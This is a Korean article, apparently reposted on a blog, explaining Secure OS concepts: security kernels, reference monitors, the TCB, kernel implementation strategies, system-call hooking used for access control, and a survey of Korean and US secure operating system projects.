국내 보안시장은 바이러스 백신, 방화벽, 침입탐지시스템 등 애플리케이션 단위의 보안시스템이 주류를 이루고 있다. 이러한 보안기술은 애플리케이션 수준에서 작동하기 때문에 침해 가능한 버그가 있을 수 있고, 시스템은 해킹 당하면 스스로 보호하지 못하는 근본적인 한계를 가지고 있다. 본지에서는 2회에 걸쳐 기존 보안시스템의 한계를 극복할 서버보안 프로그램과 새로이 부각되는 안전한 운영체계 기술을 소개하고자 한다. 지난 호 애플리케이션 보안시스템의 이점과 한계에 이어 이번 호에서는 커널 수준에서 보안문제를 다루는 운영체계 기술에 대해 살펴본다.
<편집자>

:: 그림 보기 ::
(그림1) 운영체계 보안기능
(그림2) 일반 컴퓨터 시스템 구조
(그림3) 참조모니터의 개념
(그림4) 보안커널 구현방법
(그림5) 동일한(identical) 운영체계
(그림6) 호환(Compatible) 운영체계
(그림7) 새로운 운영체계
(그림8) UNIX 시스템에서의 시스템 콜 후킹(System Call Hooking)
(그림9) 참조모니터의 구체도
(표1) 보안커널의 설계원리
(표2) 보안커널의 보안기능

Secure OS란 컴퓨터 운영체계상에 내재된 보안상의 결함으로 인하여 발생 가능한 각종 해킹으로부터 시스템을 보호하기 위해 기존의 운영체계 내에 보안기능을 통합시킨 보안커널(Security Kernel)을 추가로 이식한 운영체제의 보안커널 이다. 보안커널이 이식된 운영체계는 컴퓨터 사용자에 대한 식별 및 인증, 강제적 접근통제(MAC: Mandatory Access Control), 임의적 접근통제(DAC: Discretionary Access Control), 재사용 방지(Object Reuse Prevention), 침입 탐지(Intrusion Detection) 등의 보안 기능 요소를 갖추어야 한다(그림 1). 보통 보안커널은 안전한 운영체계 전체가 되기도 하며, 두 용어 사이의 의미는 혼용되기도 한다.

컴퓨터의 중심부, 보안커널


전통적인 컴퓨터 시스템의 구조는 그림 2와 같이 하드웨어, 운영체계 및 응용프로그램으로 구성된다. 그림에서 각각의 계층은 아래 계층에 있는 facility를 사용한다. 운영체계와 하드웨어는 보안관련으로 보안경계(Security Perimeter) 내부에 위치한다. 또한, 응용프로그램은 잘 정의된 시스템 콜을 사용하여 보안경계를 통해 운영체계에 접근한다. 사용자들은 시스템 외부에 있으며, 운영체계와 직접 통신하거나 응용프로그램을 통하여 시스템에 접근하는 것이다.
보안커널은 전통적으로 미국 등의 선진국으로부터 개념이 정립되어 왔으며 다양하게 정의를 내리고 있지만 대체로 다음과 같이 정리될 수 있다.

· 참조모니터(Reference Monitor)의 개념을 정의한 TCB(Trusted Computing Base)의 하드웨어, 펌웨어, 소프트웨어 요소
· 보안커널이란 시스템 자원에 대한 접근을 통제하기 위한 기본적인 보안절차를 구현한 컴퓨터의 중심부


참조모니터란 보안커널의 가장 중요한 부분으로 객체에 대한 접근통제기능을 수행하고 감사, 식별 및 인증, 보안 매개변수 설정 등과 같은 다른 보안메커니즘과 데이터를 교환하면서 상호작용을 한다(그림 3). 참조모니터는 항상 호출되어야 하고, 참조모니터에 대한 부정행위는 방지되어야 하며, 분석과 시험이 용이하도록 충분히 작아야되는 요구사항을 가지고 있다.
TCB는 보안정책의 시행을 책임지는 하드웨어, 펌웨어, 소프트웨어 및 이들의 조합을 포함하는 컴퓨터 시스템 내의 모든 보호 메커니즘으로서 기본적인 보호환경을 제공하며, 운영체계의 기본적인 작업(프로세스 활성화, 실행영역 교환, 메모리 보호, I/O 연산 등)에 대한 보안성 및 무결성을 감시하는 기능을 수행한다.

보안커널의 설계원리
보안 커널은 일반적으로 운영체계와 유사하며, 전통적인 운영체계 설계 개념을 사용한다. 보안커널에 요구되는 하드웨어도 거의 유사하다. 보안커널은 보안경계 내의 모든 주체와 객체를 통제해야 하며 프로세스, 파일시스템, 메모리 관리, I/O를 위한 자원을 제공해야 한다. 일반적으로 보안커널의 개념을 운영체계에 구현하기 위해서는 표 1과 같은 설계원리가 적용되고 있다.
보안커널 설계시 커널의 구조 설계와 함께 운영체계가 지원해야 할 보안기능에 대해서도 고려해야 하는데, 운영체계는 최소한 표 2의 보안기능을 제공해야 한다.

보안커널 구현 전략
보안커널은 일반적으로 운영체계와 유사하며, 전통적인 운영체계 설계 개념을 사용한다. 보안커널에 요구되는 하드웨어도 거의 유사하다. 즉, 보안커널은 보안경계 내의 모든 주체와 객체를 통제해야 하며 프로세스, 파일시스템, 메모리 관리, I/O를 위한 자원을 제공해야 한다.
주어진 컴퓨터 하드웨어 상의 안전하지 않은 운영체계(ISOS, INsecure Opera
ting System)에 보안커널을 구현하는 방법은 그림 4과 같이 세가지 방법으로 나눌 수 있다.

동일한(Identical) 운영체계
실행코드의 호환성을 제공하여 기존의 응용을 대체하는 방법이지만 기존의 운영체계 변경시(업그레이드 등) 새로운 배포 문제가 발생하여 더 많은 제약이 발생한다.
가상기계(Virtual Machine) 모니터 개념을 적용하며, 3개의 도메인(커널 도메인, 운영체계 도메인, 응용 도메인)으로 구성된 구조를 갖는다. 이 시스템의 구조는 그림 5와 같다.
이 구조에서 커널은 다중의 가상기계를 지원하는데, 각각은 원래 운영체계의 복사본을 실행시킨다. 각각의 운영체계는 다중의 응용과 사용자 서비스가 가능하고, 커널은 가상기계간의 수직적인 분리를 시행하며 커널이 보조메모리 상의 파일시스템을 관리할 수 있다. 그 방법의 예로는 각 가상기계마다 디스크의 비밀영역(private area)을 할당하는 것이다. 이 방법은 기존 운영체계의 소스코드를 가능한 많이 사용하는 것이다. 예로써 IBM VM/370, KVM 등을 들 수 있다.

호환(Compatible) 운영체계
기존의 ISOS를 완전히 재설계하는 방법으로 기존의 모든 응용이 지원되어야 한다. 해결 방법은 기존의 ISOS 인터페이스와 같게 에뮬레이터를 구현함으로써 응용프로그램이 실제 ISOS와 ISOS 에뮬레이터를 분별할 수 없도록 하는 것이며, ISOS 에뮬레이터와 커널 사이의 인터페이스 정의에는 제약이 없다. 이는 또한 커널이 외부에서 동작하며, 사용자 프로그램보다 특권(privilege)을 갖는 하나의 프로그램으로서 존재하는 운영체계 에뮬레이터를 구현하는 방법이다. 예로서는 UNIX 에뮬레이터를 보안커널의 최상위에서 실행시키는 KSOS를 들 수 있으나 비용상의 제한으로 제대로 구현되지는 못했다.
운영체계 에뮬레이터의 구조는 그림 6과 같이 가상기계와 유사한 세 단계 도메인 구조이며, 하드웨어와 커널간, 커널과 ISOS 에뮬레이터간의 인터페이스를 설계하는 방법으로 인터페이스를 위한 기능을 분할한다. 이는 원래의 운영체계 소스코드를 그대로 사용하여 에뮬레이터를 구현한다는 이점이 있다. 그러나 이 구조는 일부 기능들이 새로운 보안정책(Security Policy)에 대하여 안전하지 않으며 에뮬레이터 될 수 없다는 것과 일부 기능들은 안전하기는 하나 에뮬레이트 하기가 매우 어렵다는 것이 문제점이다. 기존의 운영체계를 커널화하는 프로젝트를 수행하기 전에 에뮬레이트할 기능에 대한 세심한 분석과 함께 정책을 위반하는가를 정확히 결정해야 한다.

새로운 운영체계
커널과 운영체계를 새롭게 설계함으로써 기존의 ISOS와 응용에 제약이 없게 하는 방법으로, 시스템 구조는 에뮬레이션의 경우와 유사하다. 구현 예로서는 SCOMP를 들 수 있다.
구조는 커널의 통제하에서 각 프로세스 내에서 운영체계 코드의 부분이 그림 6과 유사하지만, 운영체계가 구현되는 공유의 형태에 따른 제약 때문에 호환성이 없다. 따라서 보안정책에 따라 정보를 공유하기 위해 커널 프리미티브를 사용하기 위해서는 파일 시스템과 운영체계의 내부 데이터베이스를 설계하는 것이 더 나은 방법일 것이다.
주어진 컴퓨터 하드웨어 상의 안전하지 않은 운영체계(ISOS, INsecure Opera ting System)에 보안커널을 구현하는 방법에는 위에서 살펴본 것과 같이 세 가지 방법이 있다. 그 중 기존의 응용프로그램 호환성과 모듈성을 제공하기 위해 ISOS를 에뮬레이트 하는 방식이 많이 사용된다. 앞에서 설명한 참조모니터는 ISOS 에뮬레이터에 해당하게 된다.

정보 흐름 감시 모듈, 참조모니터
참조모니터는 안전한 운영체계에서 프로세스(주체)와 파일(객체)의 정보 흐름을 감시하는 보안모듈이다. 일반 운영체계에서 프로세스는 파일을 열기 위해 ‘open’ 시스템 콜을 호출하고, 파일에 정보를 쓰기 위해서는 ‘write’ 시스템 콜을 호출한다. 시스템 콜은 프로세스에서 파일로 데이터를 전달하는 인터페이스이다. 운영체계에서 시스템 콜을 이용하지 않고 프로세스가 파일의 내용을 읽기는 어려운 일이다. 운영체계에서 시스템 콜 호출 상황을 보면 시스템에서 어떠한 정보흐름이 일어나는지 알 수 있다.
참조모니터를 일반 운영체계에 구현하기 위한 방법 중 가장 널리 이용되는 방법은 정보흐름 통로가 되는 시스템 콜을 감시하는 것이다. 시스템 콜 후킹(System Call Hooking) 기술을 이용하면 쉽게 시스템 콜을 감시할 수 있다. 시스템 콜은 일반적으로 시스템 콜 테이블이라고 하는 배열 구조체로 이루어져 있다. 시스템 콜 번호는 배열 구조체에 저장되어 있는 시스템 콜 함수 포인터를 가리키는 번지이다. 시스템 콜 후킹은 시스템 콜 테이블에다 기존의 시스템 콜을 대치하는 새로운 시스템 콜 함수 포인터를 입력함으로 이루어진다. 대치되는 시스템 콜에는 보안모델과 보안정책이 적용된다. 그림 8은 시스템 콜 후킹을 나타낸 것이다.
참조모니터는 운영체계 커널과 독립적으로 동작할 수 있도록 모듈 형태로 구현되는 것이 최적이다. 리눅스의 경우는 소스가 공개되어 있어서 커널 소스를 수정하면 안전한 운영체계 구현을 쉽게 할 수 있다. 그러나 버전업이 빠르게 되는 리눅스 커널에 매번 안전한 운영체계를 구현하는 것은 너무나 비효율적이다. 모듈로 작성하면 이식성과 효율성이 높아진다.
참조모니터는 주체와 객체의 접근권한을 정의한 데이터베이스를 참조함으로 보안정책을 수행한다. 후킹으로 가로챈 시스템 콜은 객체에 대한 주체의 접근권한을 데이터베이스에 정의된 보안정책을 참고하여 판단한다. 그림 9는 참조모니터의 개념을 좀더 구체화한 것이다. 그림 9를 살펴보면 주체(프로세스)는 객체(파일)를 읽기 위해 ‘read’ 시스템 콜을 부른다. 실질적으로는 후킹된 ‘read’ 시스템 콜이 호출되고 주체와 객체의 보안등급을 비교한 후 보안정책에 어긋나면 퍼미션 에러 값을 되돌린다. 정상적이라면 원래의 ‘read’ 시스템 콜을 호출하여 요청한 오퍼레이션을 수행하도록 한다.

Secure OS 국내외 동향
안전한 운영체계의 연구는 국외뿐만 아니라 국내에서도 활발히 진행중이다. 외국에서는 오래 전부터 안전한 운영체계의 필요성을 느끼고 공개적으로 프로젝트를 수행되고 있다.
국내의 경우 국가기관보다는 기업이 주도적인 개발을 이끌고 있다. 다음은 국내의 대표적인 안전한 운영체계 개발 현황과 기능들 설명한 것이다.

(블로그 주인의 주석!!!)

* RedCastle SecureOS (레드게이트 : RedCastle)

  - RedCastle은 MLS(Multi Level Security)와 RBAC (Role Based Access Control)을 포함하는 MAC(Mandatory Access Contro)과 전통적인 방식의 임의적접근통제(DAC : CA의 eTrust Access Control (SEOS)의 주된 접근 통제 방식) 정책을 동시에 지원하는 강력하고도 안정된 SecureOS로서 2005년 현재 국내 SecureOS 시장을 주도하고 있다.

· Secuve TOS FG, Secuve TOS WG(시큐브) : 전자서명을 이용한 사용자 인증 방식을 채택하고 있으며, 해킹에 의해 시스템 정보가 불법적으로 파괴 또는 삭제되는 것을 막는 기능을 지원한다. 또한 참조모니터를 모듈로 구현하여 커널에 독립적으로 동작한다.

· RedOwl SecuOS(티에스온넷) : 다중등급 보안모델을 지원하며, 해킹 방지 기술이 구현되어 있다. SSL기반의 통합관리를 지원한다.
국외의 안전한 운영체계 개발 현황은 국내의 상황보다 좋다. 오픈소스(Open Source)로 진행중인 프로젝트도 상당수 있으며, 정부의 지원으로 진행중인 안전한 운영체계 프로젝트도 있다. 다음은 미국 정부에서 주도하는 안전한 운영체계에 대한 설명이다.

· Synergy 프로젝트 : 마이크로 커널(Micro kernel) 기반구조이며, 보안정책 서버(Security policy server), 암호 서브시스템(Cryptographic Subsystem), 인증 서브시스템(Authentication Subsystem)으로 구성되어 있다.

· DTOS(Distributed Trusted Operation System) : Synergy 프로그램중의 일부로 유연성 있는 보안 통제 제공을 목적으로 만든 안전한 운영체계의 프로토타입이다.

· Fluke/Flask 프로젝트 : DTOS 연구의 후속이며 다양한 보안정책을 수용할 수 있는 유연성지원을 목표로 하고 있다. 또한 내포(nested) 프로세스 모델을 적용한 것이 특징이다.

지금까지 2회 동안 현재 운영되고 있는 서버보안 프로그램과 새로이 부각되는 안전한 운영체계 기술에 대해 살펴보았다. 사이버 세계는 컴퓨터와 인터넷의 보급으로 급속히 확산되고 있다. 또한 컴퓨터 기술의 보편화로 새로운 유형의 해커와 해킹 기술들이 하루가 다르게 발전하고 있다. 이러한 환경에 현재 운용되고 있는 서버보안기술은 그 한계에 이르렀다. 이러한 보안 한계를 극복할 안전한 운영체계 기술은 자국의 정보자산을 보호하기 위한 마지막 방패막이 될 것이다.